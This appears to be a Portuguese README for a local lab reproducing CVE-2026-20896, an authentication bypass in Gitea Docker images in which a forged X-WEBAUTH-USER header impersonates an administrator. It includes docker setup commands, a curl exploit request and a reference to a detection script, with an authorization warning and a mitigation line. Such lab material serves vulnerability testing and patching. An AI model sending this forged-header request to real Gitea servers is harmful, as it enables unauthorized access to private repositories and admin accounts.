
Gitea Docker Image Authentication Bypass
[!WARNING] Use este PoC apenas em um laboratório local ou contra um sistema que você tenha autorização explícita para testar.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
CVE-2026-20896 é um bypass de autenticação em imagens Docker oficiais do Gitea afetadas. Quando a autenticação por proxy reverso está habilitada, a configuração REVERSE_PROXY_TRUSTED_PROXIES = * gerada pela imagem permite que um cliente que consiga alcançar o backend do Gitea se passe por um usuário existente através do cabeçalho X-WEBAUTH-USER.
O laboratório cria um administrador chamado gitea-admin com uma senha aleatória e armazena CVE-2026-20896_AUTH_BYPASS_CONFIRMED no repositório privado gitea-admin/private-proof. Ler esse arquivo sem conhecer a senha aleatória do administrador demonstra o bypass.
| Categoria | Versão |
|---|---|
| Vulnerável | Imagens Docker oficiais gitea/gitea ≤ 1.26.2 |
| Primeira correção | 1.26.3 |
| Recomendada | 1.26.4 ou posterior |
A configuração vulnerável exige que a autenticação por proxy reverso esteja habilitada e que o backend do Gitea seja diretamente acessível, ou que um proxy upstream preserve o cabeçalho de identidade fornecido pelo atacante. Um contêiner de proxy reverso não é necessário para esta reprodução local.
# build
docker build -t cve-2026-20896-gitea-vuln .
# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Aguarde alguns segundos para que o Gitea e o repositório privado de prova sejam inicializados.
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
A exploração bem-sucedida retorna CVE-2026-20896_AUTH_BYPASS_CONFIRMED.
python poc.py http://127.0.0.1:3000
O script compara solicitações não autenticadas, de não administrador e forjadas de administrador e imprime VULNERABLE quando o bypass de autorização é confirmado. Ele requer Python 3.10 ou posterior e usa apenas a biblioteca padrão.
REVERSE_PROXY_TRUSTED_PROXIES aos endereços de proxy confiáveis.docker stop cve-2026-20896-gitea-vuln